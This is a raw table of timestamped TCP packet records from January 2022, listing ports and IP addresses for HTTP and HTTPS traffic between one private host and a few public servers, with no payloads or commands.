Jan 14, 2022 01:51:32.359122992 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359139919 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359155893 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359172106 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359189034 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359205961 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359222889 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359241009 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359257936 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359275103 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359291077 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359308004 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359311104 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359318972 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359323978 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359325886 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359329939 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359334946 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359338999 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359343052 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359361887 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359379053 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359395981 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359397888 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359412909 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359430075 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359446049 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359462023 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359472036 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359477997 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359496117 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359513044 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359519958 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359529972 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359546900 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359563112 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359564066 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359580994 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359596968 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359605074 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359613895 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359632015 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359644890 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.359648943 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.359685898 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.362831116 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.413309097 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413362980 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413440943 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.413477898 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413522005 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413559914 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413599968 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413620949 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.413645029 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413683891 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413686037 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.413722992 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413738012 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.413763046 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413801908 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413834095 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413897991 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413937092 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413975954 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.413992882 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414016008 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414052010 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414056063 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414097071 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414112091 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414134026 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414146900 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414181948 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414231062 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414259911 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414268970 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414308071 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414347887 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414369106 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414387941 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414401054 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414427042 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414465904 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414489031 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414505005 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414544106 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414580107 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414607048 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414619923 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414645910 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414658070 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414694071 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414732933 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414762020 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414769888 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414798975 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414808989 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414850950 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414877892 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414890051 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414930105 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.414949894 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.414968014 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415004015 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415028095 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415043116 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415081024 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415119886 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415134907 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415159941 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415174007 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415195942 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415235043 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415251970 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415276051 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415312052 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415350914 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415369987 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415390015 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415414095 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415430069 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415467978 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415494919 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415503979 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415544033 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415564060 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415582895 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415620089 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415657043 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415679932 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415693998 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415719032 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415733099 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415772915 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415790081 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415808916 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415848017 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415884972 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415910959 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415921926 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.415944099 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.415961981 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416001081 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416038990 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416064978 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416078091 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416104078 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416116953 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416157007 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416173935 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416194916 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416237116 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416281939 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416286945 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416320086 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416346073 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416377068 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416423082 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416460037 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416481972 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416498899 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416513920 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416538954 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416575909 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416611910 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416614056 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416652918 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416676044 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416690111 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416728020 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416759014 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416764975 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416804075 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416824102 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416842937 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416879892 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416918039 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416928053 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.416956902 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416992903 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.416994095 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.417032003 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417068958 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417090893 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.417108059 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417136908 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.417146921 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417190075 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417207956 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.417228937 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417268991 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417304993 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417329073 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.417342901 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417363882 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.417381048 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417418957 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417439938 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.417459011 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.417516947 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.438067913 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.469913960 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.469965935 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470005035 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470042944 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470058918 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470082998 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470104933 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470123053 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470163107 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470174074 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470205069 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470242023 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470283031 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470309019 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470323086 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470343113 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470360994 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470400095 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470437050 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470463037 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470475912 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470496893 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470515013 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470551968 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470590115 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470621109 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470628023 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470643997 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470665932 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470705032 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470745087 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470767021 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470783949 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470794916 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470824957 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470863104 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470875978 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470901012 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470940113 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.470966101 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.470987082 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.471177101 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.523931980 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:33.544687986 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.596831083 CET	80	49830	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:33.596955061 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.597021103 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.597035885 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.649204969 CET	80	49830	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:33.677668095 CET	80	49830	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:33.677720070 CET	80	49830	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:33.677879095 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.677985907 CET	49830	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.707370996 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.729832888 CET	80	49830	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:33.761048079 CET	80	49831	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:33.761246920 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.761317015 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.761324883 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.815820932 CET	80	49831	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:33.848057985 CET	80	49831	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:33.849066973 CET	80	49831	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:33.849176884 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.880719900 CET	49831	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:33.911740065 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:33.911797047 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:33.911978960 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:33.912447929 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:33.912470102 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:33.933360100 CET	80	49831	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:34.014839888 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.015156984 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:34.017297983 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:34.017314911 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.017705917 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.018568039 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:34.061883926 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.245178938 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.245384932 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.245466948 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.245503902 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:34.245523930 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.245601892 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.245632887 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:34.245644093 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.245810986 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.245876074 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:34.245888948 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.246052027 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.246151924 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:34.246176004 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:34.246210098 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.246222973 CET	49832	443	192.168.2.3	172.67.139.105
Jan 14, 2022 01:51:34.246233940 CET	443	49832	172.67.139.105	192.168.2.3
Jan 14, 2022 01:51:34.272284031 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:34.324654102 CET	80	49833	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:34.328588963 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:34.355784893 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:34.356038094 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:34.408484936 CET	80	49833	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:34.435386896 CET	80	49833	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:34.436570883 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:34.545469046 CET	49833	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:34.598623991 CET	80	49833	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:34.657792091 CET	49834	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:34.657844067 CET	443	49834	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:34.657938957 CET	49834	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:34.658361912 CET	49834	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:34.658387899 CET	443	49834	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:34.745623112 CET	443	49834	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:34.745790005 CET	49834	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:34.747617960 CET	49834	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:34.747648954 CET	443	49834	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:34.747991085 CET	443	49834	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:34.749231100 CET	49834	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:34.789901972 CET	443	49834	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:34.797172070 CET	443	49834	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:34.797278881 CET	443	49834	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:34.797360897 CET	49834	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:34.814570904 CET	49834	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:34.814596891 CET	443	49834	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:34.922903061 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:34.973380089 CET	80	49835	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:34.974174976 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:34.974282026 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:34.974400043 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.024732113 CET	80	49835	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.053893089 CET	80	49835	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.054009914 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.054064035 CET	49835	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.104245901 CET	80	49835	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.108947039 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.159291029 CET	80	49836	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.160552979 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.536140919 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.536190033 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.586576939 CET	80	49836	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.616530895 CET	80	49836	93.189.42.167	192.168.2.3
